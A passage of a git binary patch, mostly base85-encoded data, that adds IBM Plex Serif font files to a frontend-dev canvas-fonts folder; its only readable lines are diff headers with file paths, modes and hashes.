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ľpt2M58|nXQTYm`nHi4>=zyDnA3i4oQZvu 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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/IBMPlexSerif-Italic.ttf b/skills/frontend-dev/canvas-fonts/IBMPlexSerif-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..a4d859a77f0e52e36bf699cf55469c31a4664c18 GIT binary patch literal 170004 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 